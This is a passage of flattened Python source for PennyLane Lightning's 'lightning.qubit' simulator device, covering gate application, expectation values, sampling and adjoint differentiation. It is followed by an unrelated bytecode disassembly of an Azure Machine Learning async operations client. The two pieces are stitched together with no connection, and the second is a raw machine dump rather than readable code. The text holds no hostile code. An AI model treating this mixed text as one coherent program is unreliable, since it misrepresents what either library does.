process observables in parallel when computing the jacobian. This value is only relevant when the lightning qubit is built with OpenMP. """ name = "Lightning Qubit PennyLane plugin" short_name = "lightning.qubit" operations = allowed_operations observables = allowed_observables _backend_info = backend_info config = Path(__file__).parent / "lightning_qubit.toml" def __init__( # pylint: disable=too-many-arguments self, wires, *, c_dtype=np.complex128, shots=None, mcmc=False, kernel_name="Local", num_burnin=100, batch_obs=False, ): super().__init__(wires, shots=shots, c_dtype=c_dtype) self._state = self._create_basis_state(0) self._pre_rotated_state = self._state self._c_dtype = c_dtype self._batch_obs = batch_obs self._mcmc = mcmc if self._mcmc: if kernel_name not in [ "Local", "NonZeroRandom", ]: raise NotImplementedError( f"The {kernel_name} is not supported and currently " "only 'Local' and 'NonZeroRandom' kernels are supported." ) if num_burnin >= shots: raise ValueError("Shots should be greater than num_burnin.") self._kernel_name = kernel_name self._num_burnin = num_burnin @staticmethod def _asarray(arr, dtype=None): arr = np.asarray(arr) # arr is not copied if arr.dtype.kind not in ["f", "c"]: return arr if not dtype: dtype = arr.dtype if int(get_alignment(arr)) < int(best_alignment()) or arr.dtype != dtype: new_arr = allocate_aligned_array( arr.size, np.dtype(dtype), False ).reshape(arr.shape) if len(arr.shape): new_arr[:] = arr else: np.copyto(new_arr, arr) arr = new_arr return arr def _create_basis_state(self, index): """Return a computational basis state over all wires. Args: index (int): integer representing the computational basis state Returns: array[complex]: complex array of shape ``[2]*self.num_wires`` representing the statevector of the basis state Note: This function does not support broadcasted inputs yet. """ state = allocate_aligned_array( 2**self.num_wires, np.dtype(self.C_DTYPE), True ) state[index] = 1 return self._reshape(state, [2] * self.num_wires) def reset(self): """Reset the device""" super().reset() if not self.state[0] == 1.0 + 0j: self._state = self._create_basis_state(0) self._pre_rotated_state = self._state @property def create_ops_list(self): """Returns create_ops_list function matching ``use_csingle`` precision.""" return create_ops_listC64 if self.use_csingle else create_ops_listC128 @property def measurements(self): """Returns a Measurements object matching ``use_csingle`` precision.""" ket = np.ravel(self._state) state_vector = ( StateVectorC64(ket) if self.use_csingle else StateVectorC128(ket) ) return ( MeasurementsC64(state_vector) if self.use_csingle else MeasurementsC128(state_vector) ) @property def state(self): """Returns the flattened state vector.""" shape = (1 << self.num_wires,) return self._reshape(self._pre_rotated_state, shape) @property def state_vector(self): """Returns a handle to a StateVector object matching ``use_csingle`` precision.""" ket = np.ravel(self._state) return StateVectorC64(ket) if self.use_csingle else StateVectorC128(ket) def _apply_state_vector(self, state, device_wires): """Initialize the internal state vector in a specified state. Args: state (array[complex]): normalized input state of length ``2**len(wires)`` or broadcasted state of shape ``(batch_size, 2**len(wires))`` device_wires (Wires): wires that get initialized in the state """ ravelled_indices, state = self._preprocess_state_vector(state, device_wires) device_wires = self.map_wires(device_wires) output_shape = [2] * self.num_wires if ( len(device_wires) == self.num_wires and Wires(sorted(device_wires)) == device_wires ): self._state = self._reshape(state, output_shape) return state = self._scatter(ravelled_indices, state, [2**self.num_wires]) state = self._reshape(state, output_shape) self._state = self._asarray(state, dtype=self.C_DTYPE) def _apply_basis_state(self, state, wires): """Initialize the state vector in a specified computational basis state. Args: state (array[int]): computational basis state of shape ``(wires,)`` consisting of 0s and 1s. wires (Wires): wires that the provided computational state should be initialized on Note: This function does not support broadcasted inputs yet. """ num = self._get_basis_state_index(state, wires) self._state = self._create_basis_state(num) def _apply_lightning_controlled(self, sim, operation): """Apply an arbitrary controlled operation to the state tensor. Args: sim (StateVectorC64, StateVectorC128): a state vector simulator operation (~pennylane.operation.Operation): operation to apply Returns: array[complex]: the output state tensor """ basename = ( "PauliX" if operation.name == "MultiControlledX" else operation.base.name ) if basename == "Identity": return method = getattr(sim, f"{basename}", None) control_wires = self.wires.indices(operation.control_wires) control_values = ( [bool(int(i)) for i in operation.hyperparameters["control_values"]] if operation.name == "MultiControlledX" else operation.control_values ) if operation.name == "MultiControlledX": target_wires = list( set(self.wires.indices(operation.wires)) - set(control_wires) ) else: target_wires = self.wires.indices(operation.target_wires) if method is not None: # apply n-controlled specialized gate inv = False param = operation.parameters method(control_wires, control_values, target_wires, inv, param) else: # apply gate as an n-controlled matrix method = getattr(sim, "applyControlledMatrix") target_wires = self.wires.indices(operation.target_wires) try: method( qml.matrix(operation.base), control_wires, control_values, target_wires, False, ) except AttributeError: # pragma: no cover method( operation.base.matrix, control_wires, control_values, target_wires, False, ) def apply_lightning(self, state, operations): """Apply a list of operations to the state tensor. Args: state (array[complex]): the input state tensor operations (list[~pennylane.operation.Operation]): operations to apply Returns: array[complex]: the output state tensor """ state_vector = np.ravel(state) sim = ( StateVectorC64(state_vector) if self.use_csingle else StateVectorC128(state_vector) ) for operation in operations: if operation.name == "Identity": continue method = getattr(sim, operation.name, None) wires = self.wires.indices(operation.wires) if method is not None: # apply specialized gate inv = False param = operation.parameters method(wires, inv, param) elif ( operation.name[0:2] == "C(" or operation.name == "ControlledQubitUnitary" or operation.name == "MultiControlledX" ): # apply n-controlled gate self._apply_lightning_controlled(sim, operation) else: # apply gate as a matrix method = getattr(sim, "applyMatrix") try: method(qml.matrix(operation), wires, False) except AttributeError: # pragma: no cover method(operation.matrix, wires, False) return np.reshape(state_vector, state.shape) def apply(self, operations, rotations=None, **kwargs): """Applies operations to the state vector.""" if operations: # make sure operations[0] exists if isinstance(operations[0], StatePrep): self._apply_state_vector( operations[0].parameters[0].copy(), operations[0].wires ) operations = operations[1:] elif isinstance(operations[0], BasisState): self._apply_basis_state( operations[0].parameters[0], operations[0].wires ) operations = operations[1:] for operation in operations: if isinstance(operation, (StatePrep, BasisState)): raise DeviceError( f"Operation {operation.name} cannot be used after other " f"Operations have already been applied on a {self.short_name} device." ) if operations: self._pre_rotated_state = self.apply_lightning(self._state, operations) else: self._pre_rotated_state = self._state if rotations: self._state = self.apply_lightning( np.copy(self._pre_rotated_state), rotations ) else: self._state = self._pre_rotated_state def expval(self, observable, shot_range=None, bin_size=None): """Expectation value of the supplied observable. Args: observable: A PennyLane observable. shot_range (tuple[int]): 2-tuple of integers specifying the range of samples to use. If not specified, all samples are used. bin_size (int): Divides the shot range into bins of size ``bin_size``, and returns the measurement statistic separately over each bin. If not provided, the entire shot range is treated as a single bin. Returns: Expectation value of the observable """ if observable.name in [ "Identity", "Projector", ]: return super().expval( observable, shot_range=shot_range, bin_size=bin_size ) if self.shots is not None: samples = self.sample( observable, shot_range=shot_range, bin_size=bin_size ) return np.squeeze(np.mean(samples, axis=0)) ket = np.ravel(self._pre_rotated_state) state_vector = ( StateVectorC64(ket) if self.use_csingle else StateVectorC128(ket) ) measurements = ( MeasurementsC64(state_vector) if self.use_csingle else MeasurementsC128(state_vector) ) if observable.name == "SparseHamiltonian": csr_hamiltonian = observable.sparse_matrix(wire_order=self.wires).tocsr( copy=False ) return measurements.expval( csr_hamiltonian.indptr, csr_hamiltonian.indices, csr_hamiltonian.data, ) if ( observable.name in ["Hamiltonian", "Hermitian"] or (observable.arithmetic_depth > 0) or isinstance(observable.name, List) ): ob_serialized = QuantumScriptSerializer( self.short_name, self.use_csingle )._ob(observable, self.wire_map) return measurements.expval(ob_serialized) observable_wires = self.map_wires(observable.wires) return measurements.expval(observable.name, observable_wires) def var(self, observable, shot_range=None, bin_size=None): """Variance of the supplied observable. Args: observable: A PennyLane observable. shot_range (tuple[int]): 2-tuple of integers specifying the range of samples to use. If not specified, all samples are used. bin_size (int): Divides the shot range into bins of size ``bin_size``, and returns the measurement statistic separately over each bin. If not provided, the entire shot range is treated as a single bin. Returns: Variance of the observable """ if observable.name in [ "Identity", "Projector", ]: return super().var(observable, shot_range=shot_range, bin_size=bin_size) if self.shots is not None: samples = self.sample( observable, shot_range=shot_range, bin_size=bin_size ) return np.squeeze(np.var(samples, axis=0)) ket = np.ravel(self._pre_rotated_state) state_vector = ( StateVectorC64(ket) if self.use_csingle else StateVectorC128(ket) ) measurements = ( MeasurementsC64(state_vector) if self.use_csingle else MeasurementsC128(state_vector) ) if observable.name == "SparseHamiltonian": csr_hamiltonian = observable.sparse_matrix(wire_order=self.wires).tocsr( copy=False ) return measurements.var( csr_hamiltonian.indptr, csr_hamiltonian.indices, csr_hamiltonian.data, ) if ( observable.name in ["Hamiltonian", "Hermitian"] or (observable.arithmetic_depth > 0) or isinstance(observable.name, List) ): ob_serialized = QuantumScriptSerializer( self.short_name, self.use_csingle )._ob(observable, self.wire_map) return measurements.var(ob_serialized) observable_wires = self.map_wires(observable.wires) return measurements.var(observable.name, observable_wires) def generate_samples(self): """Generate samples Returns: array[int]: array of samples in binary representation with shape ``(dev.shots, dev.num_wires)`` """ ket = np.ravel(self._state) state_vector = ( StateVectorC64(ket) if self.use_csingle else StateVectorC128(ket) ) measurements = ( MeasurementsC64(state_vector) if self.use_csingle else MeasurementsC128(state_vector) ) if self._mcmc: return measurements.generate_mcmc_samples( len(self.wires), self._kernel_name, self._num_burnin, self.shots ).astype(int, copy=False) return measurements.generate_samples(len(self.wires), self.shots).astype( int, copy=False ) def probability_lightning(self, wires): """Return the probability of each computational basis state. Args: wires (Iterable[Number, str], Number, str, Wires): wires to return marginal probabilities for. Wires not provided are traced out of the system. Returns: array[float]: list of the probabilities """ state_vector = self.state_vector return ( MeasurementsC64(state_vector) if self.use_csingle else MeasurementsC128(state_vector) ).probs(wires) @staticmethod def _check_adjdiff_supported_measurements( measurements: List[MeasurementProcess], ): """Check whether given list of measurement is supported by adjoint_differentiation. Args: measurements (List[MeasurementProcess]): a list of measurement processes to check. Returns: Expectation or State: a common return type of measurements. """ if not measurements: return None if len(measurements) == 1 and measurements[0].return_type is State: return State if any( measurement.return_type is not Expectation for measurement in measurements ): raise QuantumFunctionError( "Adjoint differentiation method does not support expectation return type " "mixed with other return types" ) for measurement in measurements: if isinstance(measurement.obs, Tensor): if any( isinstance(obs, Projector) for obs in measurement.obs.non_identity_obs ): raise QuantumFunctionError( "Adjoint differentiation method does " "not support the Projector observable" ) elif isinstance(measurement.obs, Projector): raise QuantumFunctionError( "Adjoint differentiation method does not support the Projector observable" ) return Expectation @staticmethod def _check_adjdiff_supported_operations(operations): """Check Lightning adjoint differentiation method support for a tape. Raise ``QuantumFunctionError`` if ``tape`` contains not supported measurements, observables, or operations by the Lightning adjoint differentiation method. Args: tape (.QuantumTape): quantum tape to differentiate. """ for operation in operations: if operation.num_params > 1 and not isinstance(operation, Rot): raise QuantumFunctionError( f"The {operation.name} operation is not supported using " 'the "adjoint" differentiation method' ) def _init_process_jacobian_tape(self, tape, starting_state, use_device_state): """Generate an initial state vector for ``_process_jacobian_tape``.""" if starting_state is not None: if starting_state.size != 2 ** len(self.wires): raise QuantumFunctionError( "The number of qubits of starting_state must be the same as " "that of the device." ) ket = self._asarray(starting_state, dtype=self.C_DTYPE) else: if not use_device_state: self.reset() self.apply(tape.operations) ket = self._pre_rotated_state ket = ket.reshape(-1) return StateVectorC64(ket) if self.use_csingle else StateVectorC128(ket) def adjoint_jacobian(self, tape, starting_state=None, use_device_state=False): """Computes and returns the Jacobian with the adjoint method.""" if self.shots is not None: warn( "Requested adjoint differentiation to be computed with finite shots. " "The derivative is always exact when using the adjoint " "differentiation method.", UserWarning, ) tape_return_type = self._check_adjdiff_supported_measurements( tape.measurements ) if not tape_return_type: # the tape does not have measurements return np.array([], dtype=self.state.dtype) if tape_return_type is State: raise QuantumFunctionError( "This method does not support statevector return type. " "Use vjp method instead for this purpose." ) self._check_adjdiff_supported_operations(tape.operations) processed_data = self._process_jacobian_tape( tape, starting_state, use_device_state ) if not processed_data: # training_params is empty return np.array([], dtype=self.state.dtype) trainable_params = processed_data["tp_shift"] requested_threads = int(getenv("OMP_NUM_THREADS", "1")) adjoint_jacobian = ( AdjointJacobianC64() if self.use_csingle else AdjointJacobianC128() ) if self._batch_obs and requested_threads > 1: obs_partitions = _chunk_iterable( processed_data["obs_serialized"], requested_threads ) jac = [] for obs_chunk in obs_partitions: jac_local = adjoint_jacobian( processed_data["state_vector"], obs_chunk, processed_data["ops_serialized"], trainable_params, ) jac.extend(jac_local) else: jac = adjoint_jacobian( processed_data["state_vector"], processed_data["obs_serialized"], processed_data["ops_serialized"], trainable_params, ) jac = np.array(jac) jac = jac.reshape(-1, len(trainable_params)) jac_r = np.zeros((jac.shape[0], processed_data["all_params"])) jac_r[:, processed_data["record_tp_rows"]] = jac if hasattr(qml, "active_return"): # pragma: no cover return ( self._adjoint_jacobian_processing(jac_r) if qml.active_return() else jac_r ) return self._adjoint_jacobian_processing(jac_r) def vjp( self, measurements, grad_vec, starting_state=None, use_device_state=False ): """Generate the processing function required to compute the vector-Jacobian products of a tape. This function can be used with multiple expectation values or a quantum state. When a quantum state is given, .. code-block:: python vjp_f = dev.vjp([qml.state()], grad_vec) vjp = vjp_f(tape) computes :math:`w = (w_1,\\cdots,w_m)` where .. math:: w_k = \\langle v| \\frac{\\partial}{\\partial \\theta_k} | \\psi_{\\pmb{\\theta}} \\rangle. Here, :math:`m` is the total number of trainable parameters, :math:`\\pmb{\\theta}` is the vector of trainable parameters and :math:`\\psi_{\\pmb{\\theta}}` is the output quantum state. Args: measurements (list): List of measurement processes for vector-Jacobian product. Now it must be expectation values or a quantum state. grad_vec (tensor_like): Gradient-output vector. Must have shape matching the output shape of the corresponding tape, i.e. number of measurements if the return type is expectation or :math:`2^N` if the return type is statevector starting_state (tensor_like): post-forward pass state to start execution with. It should be complex-valued. Takes precedence over ``use_device_state``. use_device_state (bool): use current device state to initialize. A forward pass of the same circuit should be the last thing the device has executed. If a ``starting_state`` is provided, that takes precedence. Returns: The processing function required to compute the vector-Jacobian products of a tape. """ if self.shots is not None: warn( "Requested adjoint differentiation to be computed with finite shots. " "The derivative is always exact when using the adjoint differentiation " "method.", UserWarning, ) tape_return_type = self._check_adjdiff_supported_measurements(measurements) if math.allclose(grad_vec, 0) or tape_return_type is None: return lambda tape: math.convert_like( np.zeros(len(tape.trainable_params)), grad_vec ) if tape_return_type is Expectation: if len(grad_vec) != len(measurements): raise ValueError( "Number of observables in the tape must be the same as the " "length of grad_vec in the vjp method" ) if np.iscomplexobj(grad_vec): raise ValueError( "The vjp method only works with a real-valued grad_vec when the " "tape is returning an expectation value" ) ham = qml.Hamiltonian(grad_vec, [m.obs for m in measurements]) def processing_fn_expval(tape): nonlocal ham num_params = len(tape.trainable_params) if num_params == 0: return np.array([], dtype=self.state.dtype) new_tape = tape.copy() new_tape._measurements = [qml.expval(ham)] return self.adjoint_jacobian( new_tape, starting_state, use_device_state ) return processing_fn_expval if tape_return_type is State: if len(grad_vec) != 2 ** len(self.wires): raise ValueError( "Size of the provided vector grad_vec must be the same as " "the size of the statevector" ) if np.isrealobj(grad_vec): warn( "The vjp method only works with complex-valued grad_vec when " "the tape is returning a statevector. Upcasting grad_vec." ) grad_vec = grad_vec.astype(self.C_DTYPE) def processing_fn_state(tape): nonlocal grad_vec processed_data = self._process_jacobian_tape( tape, starting_state, use_device_state ) calculate_vjp = ( VectorJacobianProductC64() if self.use_csingle else VectorJacobianProductC128() ) return calculate_vjp( processed_data["state_vector"], processed_data["ops_serialized"], grad_vec, processed_data["tp_shift"], ) return processing_fn_state else: class LightningQubit(LightningBaseFallBack): # pragma: no cover name = "Lightning qubit PennyLane plugin [No binaries found - Fallback: default.qubit]" short_name = "lightning.qubit" def __init__(self, wires, *, c_dtype=np.complex128, **kwargs): warn( "Pre-compiled binaries for lightning.qubit are not available. Falling back to " "using the Python-based default.qubit implementation. To manually compile from " "source, follow the instructions at " "https://pennylane-lightning.readthedocs.io/en/latest/installation.html.", UserWarning, ) super().__init__(wires, c_dtype=c_dtype, **kwargs)
data/PennyLane_Lightning-0.34.0/pennylane_lightning/lightning_qubit/lightning_qubit.py
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME urllib.parse STORE_NAME urllib LOAD_CONST 0 LOAD_CONST ('IOBase',) IMPORT_NAME io IMPORT_FROM IOBase STORE_NAME IOBase POP_TOP LOAD_CONST 0 LOAD_CONST ('IO', 'Any', 'AsyncIterable', 'Callable', 'Dict', 'Optional', 'TypeVar', 'Union', 'cast', 'overload') IMPORT_NAME typing IMPORT_FROM IO STORE_NAME IO IMPORT_FROM Any STORE_NAME Any IMPORT_FROM AsyncIterable STORE_NAME AsyncIterable IMPORT_FROM Callable STORE_NAME Callable IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM TypeVar STORE_NAME TypeVar IMPORT_FROM Union STORE_NAME Union IMPORT_FROM cast STORE_NAME cast IMPORT_FROM overload STORE_NAME overload POP_TOP LOAD_CONST 0 LOAD_CONST ('AsyncItemPaged', 'AsyncList') IMPORT_NAME azure.core.async_paging IMPORT_FROM AsyncItemPaged STORE_NAME AsyncItemPaged IMPORT_FROM AsyncList STORE_NAME AsyncList POP_TOP LOAD_CONST 0 LOAD_CONST ('ClientAuthenticationError', 'HttpResponseError', 'ResourceExistsError', 'ResourceNotFoundError', 'ResourceNotModifiedError', 'map_error') IMPORT_NAME azure.core.exceptions IMPORT_FROM ClientAuthenticationError STORE_NAME ClientAuthenticationError IMPORT_FROM HttpResponseError STORE_NAME HttpResponseError IMPORT_FROM ResourceExistsError STORE_NAME ResourceExistsError IMPORT_FROM ResourceNotFoundError STORE_NAME ResourceNotFoundError IMPORT_FROM ResourceNotModifiedError STORE_NAME ResourceNotModifiedError IMPORT_FROM map_error STORE_NAME map_error POP_TOP LOAD_CONST 0 LOAD_CONST ('PipelineResponse',) IMPORT_NAME azure.core.pipeline IMPORT_FROM PipelineResponse STORE_NAME PipelineResponse POP_TOP LOAD_CONST 0 LOAD_CONST ('AsyncHttpResponse',) IMPORT_NAME azure.core.pipeline.transport IMPORT_FROM AsyncHttpResponse STORE_NAME AsyncHttpResponse POP_TOP LOAD_CONST 0 LOAD_CONST ('AsyncLROPoller', 'AsyncNoPolling', 'AsyncPollingMethod') IMPORT_NAME azure.core.polling IMPORT_FROM AsyncLROPoller STORE_NAME AsyncLROPoller IMPORT_FROM AsyncNoPolling STORE_NAME AsyncNoPolling IMPORT_FROM AsyncPollingMethod STORE_NAME AsyncPollingMethod POP_TOP LOAD_CONST 0 LOAD_CONST ('HttpRequest',) IMPORT_NAME azure.core.rest IMPORT_FROM HttpRequest STORE_NAME HttpRequest POP_TOP LOAD_CONST 0 LOAD_CONST ('distributed_trace',) IMPORT_NAME azure.core.tracing.decorator IMPORT_FROM distributed_trace STORE_NAME distributed_trace POP_TOP LOAD_CONST 0 LOAD_CONST ('distributed_trace_async',) IMPORT_NAME azure.core.tracing.decorator_async IMPORT_FROM distributed_trace_async STORE_NAME distributed_trace_async POP_TOP LOAD_CONST 0 LOAD_CONST ('case_insensitive_dict',) IMPORT_NAME azure.core.utils IMPORT_FROM case_insensitive_dict STORE_NAME case_insensitive_dict POP_TOP LOAD_CONST 0 LOAD_CONST ('ARMErrorFormat',) IMPORT_NAME azure.mgmt.core.exceptions IMPORT_FROM ARMErrorFormat STORE_NAME ARMErrorFormat POP_TOP LOAD_CONST 0 LOAD_CONST ('AsyncARMPolling',) IMPORT_NAME azure.mgmt.core.polling.async_arm_polling IMPORT_FROM AsyncARMPolling STORE_NAME AsyncARMPolling POP_TOP LOAD_CONST 3 LOAD_CONST ('models',) IMPORT_NAME IMPORT_FROM models STORE_NAME _models POP_TOP LOAD_CONST 3 LOAD_CONST ('_convert_request',) IMPORT_NAME _vendor IMPORT_FROM _convert_request STORE_NAME _convert_request POP_TOP LOAD_CONST 3 LOAD_CONST ('build_create_or_update_request', 'build_delete_request', 'build_get_request', 'build_list_request', 'build_publish_request') IMPORT_NAME operations._component_versions_operations IMPORT_FROM build_create_or_update_request STORE_NAME build_create_or_update_request IMPORT_FROM build_delete_request STORE_NAME build_delete_request IMPORT_FROM build_get_request STORE_NAME build_get_request IMPORT_FROM build_list_request STORE_NAME build_list_request IMPORT_FROM build_publish_request STORE_NAME build_publish_request POP_TOP LOAD_NAME TypeVar LOAD_CONST 'T' CALL_FUNCTION STORE_NAME T LOAD_NAME Optional LOAD_NAME Callable LOAD_NAME PipelineResponse LOAD_NAME HttpRequest LOAD_NAME AsyncHttpResponse BUILD_TUPLE BINARY_SUBSCR LOAD_NAME T LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR STORE_NAME ClsType LOAD_BUILD_CLASS LOAD_CONST <code object ComponentVersionsOperations at 0x7f8aa43cb810, file "f.py", line 51> LOAD_CONST 'ComponentVersionsOperations' MAKE_FUNCTION LOAD_CONST 'ComponentVersionsOperations' CALL_FUNCTION STORE_NAME ComponentVersionsOperations LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ComponentVersionsOperations' STORE_NAME __qualname__ LOAD_CONST "\n .. warning::\n **DO NOT** instantiate this class directly.\n\n Instead, you should access the following operations through\n :class:`~azure.mgmt.machinelearningservices.aio.AzureMachineLearningServices`'s\n :attr:`component_versions` attribute.\n " STORE_NAME __doc__ LOAD_NAME _models STORE_NAME models LOAD_CONST None LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7f8ab77c3f60, file "f.py", line 63> LOAD_CONST 'ComponentVersionsOperations.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME distributed_trace LOAD_CONST (None, None, None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Union LOAD_NAME str LOAD_NAME _models LOAD_ATTR ListViewType BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Any LOAD_NAME AsyncIterable LOAD_CONST '_models.ComponentVersion' BINARY_SUBSCR LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'order_by', 'top', 'skip', 'list_view_type', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object list at 0x7f8ab68a5540, file "f.py", line 72> LOAD_CONST 'ComponentVersionsOperations.list' MAKE_FUNCTION CALL_FUNCTION STORE_NAME list LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions' BUILD_MAP LOAD_NAME list STORE_ATTR metadata LOAD_NAME distributed_trace_async LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_CONST None LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object delete at 0x7f8ab68a5150, file "f.py", line 209> LOAD_CONST 'ComponentVersionsOperations.delete' MAKE_FUNCTION CALL_FUNCTION STORE_NAME delete LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions/{version}' BUILD_MAP LOAD_NAME delete STORE_ATTR metadata LOAD_NAME distributed_trace_async LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Any LOAD_NAME _models LOAD_ATTR ComponentVersion LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get at 0x7f8ab68a5780, file "f.py", line 293> LOAD_CONST 'ComponentVersionsOperations.get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions/{version}' BUILD_MAP LOAD_NAME get STORE_ATTR metadata LOAD_NAME overload LOAD_CONST 'application/json' LOAD_CONST ('content_type',) BUILD_CONST_KEY_MAP LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME _models LOAD_ATTR ComponentVersion LOAD_NAME str LOAD_NAME Any LOAD_NAME _models LOAD_ATTR ComponentVersion LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'body', 'content_type', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object create_or_update at 0x7f8ab68a51e0, file "f.py", line 381> LOAD_CONST 'ComponentVersionsOperations.create_or_update' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_or_update LOAD_NAME overload LOAD_CONST 'application/json' LOAD_CONST ('content_type',) BUILD_CONST_KEY_MAP LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME IO LOAD_NAME str LOAD_NAME Any LOAD_NAME _models LOAD_ATTR ComponentVersion LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'body', 'content_type', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object create_or_update at 0x7f8ab68a5db0, file "f.py", line 417> LOAD_CONST 'ComponentVersionsOperations.create_or_update' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_or_update LOAD_NAME distributed_trace_async LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Union LOAD_NAME _models LOAD_ATTR ComponentVersion LOAD_NAME IO BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Any LOAD_NAME _models LOAD_ATTR ComponentVersion LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'body', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object create_or_update at 0x7f8ab68a5660, file "f.py", line 453> LOAD_CONST 'ComponentVersionsOperations.create_or_update' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_or_update LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions/{version}' BUILD_MAP LOAD_NAME create_or_update STORE_ATTR metadata LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Union LOAD_NAME _models LOAD_ATTR DestinationAsset LOAD_NAME IO BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Any LOAD_CONST None LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'body', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _publish_initial at 0x7f8aa43cb660, file "f.py", line 566> LOAD_CONST 'ComponentVersionsOperations._publish_initial' MAKE_FUNCTION STORE_NAME _publish_initial LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions/{version}/publish' BUILD_MAP LOAD_NAME _publish_initial STORE_ATTR metadata LOAD_NAME overload LOAD_CONST 'application/json' LOAD_CONST ('content_type',) BUILD_CONST_KEY_MAP LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME _models LOAD_ATTR DestinationAsset LOAD_NAME str LOAD_NAME Any LOAD_NAME AsyncLROPoller LOAD_CONST None BINARY_SUBSCR LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'body', 'content_type', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object begin_publish at 0x7f8aa43cbed0, file "f.py", line 655> LOAD_CONST 'ComponentVersionsOperations.begin_publish' MAKE_FUNCTION CALL_FUNCTION STORE_NAME begin_publish LOAD_NAME overload LOAD_CONST 'application/json' LOAD_CONST ('content_type',) BUILD_CONST_KEY_MAP LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME IO LOAD_NAME str LOAD_NAME Any LOAD_NAME AsyncLROPoller LOAD_CONST None BINARY_SUBSCR LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'body', 'content_type', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object begin_publish at 0x7f8aa43cb6f0, file "f.py", line 698> LOAD_CONST 'ComponentVersionsOperations.begin_publish' MAKE_FUNCTION CALL_FUNCTION STORE_NAME begin_publish LOAD_NAME distributed_trace_async LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_NAME Union LOAD_NAME _models LOAD_ATTR DestinationAsset LOAD_NAME IO BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Any LOAD_NAME AsyncLROPoller LOAD_CONST None BINARY_SUBSCR LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'body', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object begin_publish at 0x7f8aa43cb4b0, file "f.py", line 741> LOAD_CONST 'ComponentVersionsOperations.begin_publish' MAKE_FUNCTION CALL_FUNCTION STORE_NAME begin_publish LOAD_CONST 'url' LOAD_CONST '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.MachineLearningServices/workspaces/{workspaceName}/components/{name}/versions/{version}/publish' BUILD_MAP LOAD_NAME begin_publish STORE_ATTR metadata LOAD_CONST None RETURN_VALUE LOAD_GLOBAL list LOAD_FAST args CALL_FUNCTION STORE_FAST input_args LOAD_FAST input_args POP_JUMP_IF_FALSE LOAD_FAST input_args LOAD_METHOD pop LOAD_CONST 0 CALL_METHOD JUMP_FORWARD to 30 LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'client' CALL_METHOD LOAD_FAST self STORE_ATTR _client LOAD_FAST input_args POP_JUMP_IF_FALSE LOAD_FAST input_args LOAD_METHOD pop LOAD_CONST 0 CALL_METHOD JUMP_FORWARD to 56 